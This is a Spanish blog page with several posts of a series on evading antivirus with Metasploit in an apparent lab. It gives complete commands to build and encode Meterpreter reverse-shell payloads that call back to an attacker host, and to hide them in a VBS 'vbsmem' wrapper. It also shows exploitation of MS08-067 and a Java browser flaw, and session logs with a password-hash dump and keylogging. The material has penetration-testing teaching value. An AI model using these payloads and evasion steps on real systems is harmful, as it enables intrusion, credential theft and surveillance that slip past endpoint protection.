Metasploit & Antivirus (IV): Encoding contra Firmas

En el anterior post nos quedamos con que habíamos conseguido evadir el Antivirus empleando un Payload Java, pero al intentar subir el Payload Nativo (con mucha más funcionalidad) volvía a detectarlo. Para evitar eso, Metasploit tiene una funcionalidad para encodear Payloads que nos va a permitir codificar el Payload, con lo que vamos a evitar la detección por firmas y, como en este caso, algunas detecciones heurísticas.

Veamos qué posibles encodings podemos aplicar:

# cd /opt/metasploit3/msf3/

# ./msfencode -l

[...]

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

[...]

En principio el encoding "shikata_ga_nai" es el más ampliamente usado, así que vamos a hacer un par de pruebas y vamos a crear un fichero msf1.exe que es un Payload de Meterpreter sin encodear y luego vamos a generar otro encodeado con 5 iteraciones de este encoder, y lo vamos a llamar msf2.exe, y a ver que nos dice VirusTotal:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 X > msf1.exe

Antivirus	Version	Last update	Result
AhnLab-V3	2011.05.08.00	2011.05.07	Trojan/Win32.Shell
AntiVir	7.11.7.177	2011.05.08	TR/Crypt.EPACK.Gen2
Antiy-AVL	2.0.3.7	2011.05.08	-
Avast	4.8.1351.0	2011.05.08	Win32:SwPatch
Avast5	5.0.677.0	2011.05.08	Win32:SwPatch
AVG	10.0.0.1190	2011.05.08	Win32/Heur
BitDefender	7.2	2011.05.08	Backdoor.Shell.AC
CAT-QuickHeal	11.00	2011.05.08	Trojan.Swrort.A
ClamAV	0.97.0.0	2011.05.07	-
Commtouch	5.3.2.6	2011.05.07	W32/Swrort.A.gen!Eldorado
Comodo	8627	2011.05.08	-
Emsisoft	5.1.0.5	2011.05.08	Trojan.Win32.Swrort!IK
eSafe	7.0.17.0	2011.05.05	-
eTrust-Vet	36.1.8312	2011.05.06	Win32/Swrort.A!generic
F-Prot	4.6.2.117	2011.05.08	W32/Swrort.A.gen!Eldorado
Fortinet	4.2.257.0	2011.05.08	-
GData	22	2011.05.08	Backdoor.Shell.AC
Ikarus	T3.1.1.103.0	2011.05.08	Trojan.Win32.Swrort
Jiangmin	13.0.900	2011.05.05	-
K7AntiVirus	9.102.4584	2011.05.06	Riskware
Kaspersky	9.0.0.837	2011.05.08	HEUR:Trojan.Win32.Generic
McAfee	5.400.0.1158	2011.05.08	-
McAfee-GW-Edition	2010.1D	2011.05.07	-
Microsoft	1.6802	2011.05.08	Trojan:Win32/Swrort.A
NOD32	6105	2011.05.08	a variant of Win32/Rozena.AA
Panda	10.0.3.5	2011.05.08	Suspicious file
PCTools	7.0.3.5	2011.05.06	-
Prevx	3.0	2011.05.08	-
Rising	23.56.06.05	2011.05.08	-
Sophos	4.65.0	2011.05.08	Mal/Swrort-C
SUPERAntiSpyware	4.40.0.1006	2011.05.08	Trojan.Backdoor-PoisonIvy
TheHacker	6.7.0.1.191	2011.05.08	-
TrendMicro	9.200.0.1012	2011.05.08	-
TrendMicro-HouseCall	9.200.0.1012	2011.05.08	-
VBA32	3.12.16.0	2011.05.08	-
VIPRE	9223	2011.05.08	Trojan.Win32.Swrort.B (v)
ViRobot	2011.5.7.4450	2011.05.08	-
VirusBuster	13.6.343.0	2011.05.08	Trojan.Rosena.Gen.1

22/38 (57.9%)

Ya para empezar, hay una cantidad razonable de Antivirus que NI SE ENTERAN de que el binario tiene un Meterpreter, y sorprende particularmente que entre ellos hay varios de los más conocidos. Veamos que pasa ahora si aplicamos un poco de encoding:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o msf2.exe

Empleando el encoding la detección baja ligeramente hasta 23/42 (54.8%), pero como vemos poco cambia la situación. Vamos a hacer otra prueba para que veáis una cosa curiosa, vamos encodear un fichero vacio con un encoding "none", osea, sin ningún payload y sin ningún encoding, a ver que detección nos saca:

# echo -n | ./msfencode -e generic/none -t exe -o msf4.exe

Ahora es cuando nos quedamos con la cara de tontos, otra vez 23/41 (56.1%). Esto es debido a que algunos Antivirus ya se han preocupado de detectar de alguna forma los binarios encodeados con el msfencode de Metasploit, independientemente de su contenido.

Así que, en conclusión, podemos tener suerte y encontrar uno de los Antivirus que no detectan los Payloads de Metasploit y no tengamos que hacer nada, o que lo detecten y con un simple encoding consigamos que deje de detectarlo, pero en este caso lo tenemos un poco más complicado, así que vamos a tener que optar por otro tipo de encoding algo menos conocido.

Para ello vamos a irnos a la versión de desarrollo de msfencode, que tiene una funcionalidad nueva (no aparecerá hasta la versión 3.8 de Metasploit de forma estable) que permite generar el Payload dentro de un Script Visual Basic, pero de una forma diferente a como lo hacía anteriormente con VBS, Java, etc. En general, cuando tú generas un Payload Nativo dentro de un War, un VBS o similar, este lo que hace es crear un fichero en el disco y luego lo ejecuta, con lo que el Antivirus acabará detectando este binario, así que para este caso no nos sirve mucho.

Esta nueva opción de "empaquetamiento" llamada "vbsmem" funciona de una forma diferente, y lo que hace es crear una dll en disco (en la documentación habla de que lo hace todo "en memoria" pero yo he mirado el código y juraría que escribe la dll en disco) que tiene toda la funcionalidad, y entonces lo que hace es inyectar esta dll para que se ejecute. Vamos a ver que tal funciona, pero antes tenemos que generar el fichero y luego poner a la escucha el multi/handler para recoger la conexión:

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.146.132 LPORT=4445 R | msfencode -e x86/shikata_ga_nai -t vbsmem > msf.vbs

# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4445 E

Bueno, ahora solo tenemos que subir el fichero desde el Meterpreter Java que tenemos ya del post anterior y ejecutarlo, a ver si conseguimos por fin nuestro deseado Meterpreter Nativo de Windows:

meterpreter > sysinfo

OS : Windows XP 5.1 (x86)

Computer : rootedlab2

Meterpreter : java/java

meterpreter > upload msf.vbs

[*] uploading : msf.vbs -> msf.vbs

[*] uploaded : msf.vbs -> msf.vbs

meterpreter > execute -H -f cmd.exe -a "/c msf.vbs"

Process created.

Y mientras tanto en nuestro multi/handler a la escucha...

[*] Started reverse handler on 0.0.0.0:4445

[*] Starting the payload handler...

[*] Sending stage (749056 bytes) to 172.16.146.146

[*] Meterpreter session 1 opened (172.16.146.132:4445 -> 172.16.146.146:1100) at Sun May 08 18:21:31 +0200 2011

meterpreter > sysinfo

System Language : es_ES

OS : Windows XP (Build 2600, Service Pack 3).

Computer : ROOTEDLAB2

Architecture : x86

Meterpreter : x86/win32

Bingo! Lo tenemos! Y ahora, solo para asegurarnos que nuestro Meterpreter ahora puede hacer lo que queramos sin que el Antivirus nos detecte, vamos a hacer un hashdump y vamos a poner un KeyLogger a ver que pasa...

meterpreter > hashdump

Administrador:500:aad3b435b51404eeaad3b435b51404ee:2983ca1407d376f6358670f623f03a41:::

[...]

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

notepad.exe GAME OVER ANTIVIRUS >(

meterpreter > keyscan_stop

Stopping the keystroke sniffer...

Bueno... parece que ya lo tenemos, ha costado pero al final hemos conseguido meter nuestro Meterpreter Windows en el equipo protegido por el Antivirus sin que este se enterara, y eso que nos hemos cogido uno de los difíciles.

También habríamos podido modificar la rutina de encoding de Metasploit un poquillo para que ya no fuera detectada, pero para eso habría que haber tocado bastante más código y podría haber sido bastante más complicado, pero es la forma en la que, de una forma u otra, acabaríamos por conseguir ejecutar lo que quisiéramos.

Sed buenos :)

Metasploit & Antivirus (III): Evasión de Heurística

Hace unos días vimos como explotando al vulnerabilidad MS08-067 en un sistema con Antivirus este no se enteraba de nada, debido a que las acciones realizadas estaban "bajo el radar" y por tanto pasaban desapercibidas para el Antivirus.

Hoy vamos a probar otra vulnerabilidad para la cual no vamos a tener la misma suerte, como es la CVE-2010-3563 de Java, que es la que aprovecha el exploit "windows/browser/java_basicservice_impl" de Metasploit. Veamos lo que pasa al intentar explotar esta vulnerabilidad. Primero que nada levantamos un servidor web a la escucha que espera conexiones de navegadores e intenta explotar esta vulnerabilidad. Esta vez, en lugar de usar msfconsole vamos a usar msfcli, que es básicamente lo mismo pero le ponemos directamente todos los parámetros en la linea de comandos (muy útil a veces):

# ./msfcli windows/browser/java_basicservice_impl PAYLOAD=windows/meterpreter/reverse_tcp LHOST=172.16.146.132 E

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.146.132:4444

[*] Using URL: http://0.0.0.0:8080/5VTcH8EGRi00E

[*] Local IP: http://172.16.146.132:8080/5VTcH8EGRi00E

[*] Server started.

Ahora ya solo tenemos que coger un navegador vulnerable y hacerle visitar http://172.16.146.132:8080/5VTcH8EGRi00E , y a ver que pasa...

Ops! Bueno, parece que el Antivirus nos ha cazado esta vez. Según la información detecta un fichero temporal ejecutable como Win32/Heur, es decir, tiene toda la pinta de que ha sido detectado por Heurística, no por firma.

Para comprobarlo, vamos a repetir la operación pero esta vez vamos a usar un Payload de Metasploit distinto a Meterpreter. Concretamente, Metasploit tiene algunos Payloads específicamente pensados para hacer pruebas, entre ellos uno llamado "tight_loop", que si le pegamos un vistazo, tiene una pinta así:

# cat /opt/metasploit3/msf3/modules/payloads/singles/generic/tight_loop.rb

Como podemos ver, es un Payload que contiene una sola instrucción en ensamblador que realiza un salto a ella misma, por lo que se convertirá en un bucle infinito. Este Payload se completará con NOPs para formar el Exploit final, por lo que no debería hacer saltar ninguna regla del Antivirus. Utilizando este Payload vamos a comprobar a ver si lo que está detectando con su Heurística es el cuerpo del Meterpreter o no.

# ./msfcli windows/browser/java_basicservice_impl PAYLOAD=generic/tight_loop LHOST=172.16.146.132 E

[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8080/U8VpIr

[*] Local IP: http://172.16.146.132:8080/U8VpIr

[*] Server started.

Repetimos la operación, visitamos el enlace que nos da Metasploit a ver que pasa...

Bueno, ya tenemos algo más de información, si el Payload no es lo que le está haciendo saltar, pues entonces tiene que ser alguna de las acciones que está realizando previamente a ejecutar el Payload. Podría ser el hecho de que Internet Explorer esté lanzando un ejecutable, o algo que hay en el propio ejecutable. Para comprobarlo si es una cosa u otra es fácil, vamos a coger el binario, vamos a moverlo al escritorio, vamos a cambiarle el nombre y vamos a ejecutarlo a mano. Si el antivirus vuelve a saltar es que no está siendo detectado porque lo esté lanzando un navegador ni nada parecido, sino que es algo interno al binario. Hacemos esto, le damos doble click y...

No nos deja ejecutarlo, y en cuanto le cambiamos de nombre o pasamos el ratón por encima nos salta la ventana alertándonos de la amenaza, así que parece que va a ser algo del propio binario.

Podríamos intentar encodear el binario para que no detectara (lo veremos en el siguiente post), pero en lugar de eso vamos a hacer algo más sencillo: ¿qué pasará si cambiamos el ejecutable que lanza el exploit por un java? Evidentemente el binario cambiará completamente, y con un poco de suerte la detección heurística del Antivirus no estará preparada para esto.

# ./msfconsole

> setg RHOST 172.16.146.146

> setg LHOST 172.16.146.132

> use windows/browser/java_basicservice_impl

> show targets

Id Name

-- ----

0 Windows x86

1 Generic (Java Payload)

> set TARGET 1

> show payloads

[...]

java/meterpreter/reverse_tcp

[...]

> set PAYLOAD java/meterpreter/reverse_tcp

> exploit

[*] Exploit running as background job.

[*] Started reverse handler on 172.16.146.132:4444

[*] Using URL: http://0.0.0.0:8080/EljVGtlEWd26kZr

[*] Local IP: http://172.16.146.132:8080/EljVGtlEWd26kZr

[*] Server started.

Ahora vamos a hacer que nuestro navegador vulnerable visite esta url a ver que vemos en nuestro Metasploit y en la pantalla del PC:

[*] Sending redirect to init.jnlp

[*] Sending init.jnlp

[*] Sending init.jnlp

[*] Sending Jar file to 172.16.146.146:1161...

[*] Checking with HEAD

[*] Sending exploit.jnlp

[*] Sending Jar file to 172.16.146.146:1164...

[*] Sending all.policy

[*] Sending stage (27642 bytes) to 172.16.146.146

[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1165) at Sun May 08 13:03:00 +0200 2011

> sessions -i 1

meterpreter > sysinfo

OS : Windows XP 5.1 (x86)

Computer : rootedlab2

Meterpreter : java/java

Bingo! Ya tenemos un Meterpreter corriendo en la máquina comprometida. Lamentáblemente la funcionalidad del Meterpreter Java es muy inferior al del Meterpreter Nativo para Windows, así que ahora deberíamos intentar subir un Meterpreter Windows y lanzarlo, para obtener toda su funcionalidad, pero... evidentemente si lo hacemos tan cual va a ser detectado por el Antivirus al igual que lo hacía antes.

meterpreter > upload msf.exe

[*] uploading : msf.exe -> msf.exe

[*] uploaded : msf.exe -> msf.exe

meterpreter > execute -H -f msf.exe

[-] stdapi_sys_process_execute: Operation failed: 1

En el próximo post, algo de encoding de binarios con Metasploit.

Unprivileged Network Post-Exploitation (Video)

Hace algunos meses publiqué una serie de posts [1] [2] [3] sobre la charla que di en la pasada edición de la RootedCON. Hace unas horas se han publicado en la web de RootedCON los videos de varias de las charlas, entre ellas la mía. La podéis ver aquí mismo o yendo a la web de RootedCON:

A los que veáis el video, disculpas porque tuve problemillas con la voz (resfriado nocturno de última hora), así que me paso la charla tosiendo, carraspeando y bebiendo agua :P

Cualquier comentario o sugerencia para próximas charlas es bien recibida :)

Metasploit & Antivirus (II): Explotación en Memoria

Ahora que ya tenemos sentada las bases de como funcionan los antivirus, vamos a empezar a hacer nuestras pruebas con un antivirus a ver que pasa.

Se eligió una versión gratuita de un antivirus comercial que no se identificará en estos posts (aunque si alguien reconoce en el screenshot el antivirus... pues lo reconoce :P). Las pruebas solo se van a realizar sobre un antivirus, por lo que es probable que otros antivirus bloqueen cosas que este no bloquea y viceversa, por eso es importante montarnos una maqueta con el antivirus exacto que está utilizando el sistema sobre el que estamos haciendo el test de intrusión.

Pues bueno, vamos al lío, vamos a utilizar el archi-conocido exploit para MS08-067 para entrar en un sistema protegido con un antivirus y vamos a inyectar una shell Meterpreter.

# ./msfconsole

> setg RHOST 172.16.146.146

> setg LHOST 172.16.146.132

> use windows/smb/ms08_067_netapi

> set PAYLOAD windows/meterpreter/reverse_tcp

> exploit

[*] Started reverse handler on 172.16.146.132:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

[*] Selected Target: Windows XP SP3 Spanish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 172.16.146.146

[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1158) at Sat Apr 30 09:19:44 +0200 2011

meterpreter >

Ya tenemos acceso al sistema, y en antivirus... nada de nada.

Aunque parezca que esto no debería ser así, es bastante lógico si tenemos en cuenta como funciona un antivirus y como funciona Meterpreter. Si recordáis, dijimos que un antivirus, por motivos de complejidad y eficiencia, no puede monitorizar absolutamente todas las llamadas a sistema, así que vamos a ver que acciones hace Meterpreter que parece que el antivirus no está monitorizando ninguna de ellas.

1. El exploit lleva consigo el código del Stager "reverse_tcp".
2. Se ejecuta "reverse_tcp", que únicamente reserva una zona en memoria y realiza una conexión, y todos los datos que le llegan desde esa conexión los guarda en esa zona de memoria y salta la ejecución a ella. En esa zona es donde se guarda el Payload que hace la inyección de la DLL.
3. Una vez que se salta a este Payload, este realiza la inyección de la DLL en la memoria del proceso.
4. A partir de aquí, ya todo depende de las acciones que realicemos con Meterpreter, pero el acceso lo tenemos ya.

La explotación no toca el disco para nada, y las acciones que realiza son razonablemente normales, y además el proceso explotado pertenece a SYSTEM, así que entre unas cosas y otras... es bastante lógico que el pobre Antivirus no se esté enterando de nada.

De hecho, si en este momento realizamos un escaneo de todo el sistema, el Antivirus no va a encontrar nada, a pesar de que tenemos el Meterpreter cargado como DLL de uno de los procesos del sistema:

En la próxima entrega vamos a utilizar otro exploit que, por la manera de explotar, si que toca el disco, y que es detectado como un ataque por el antivirus, a ver que podemos hacer...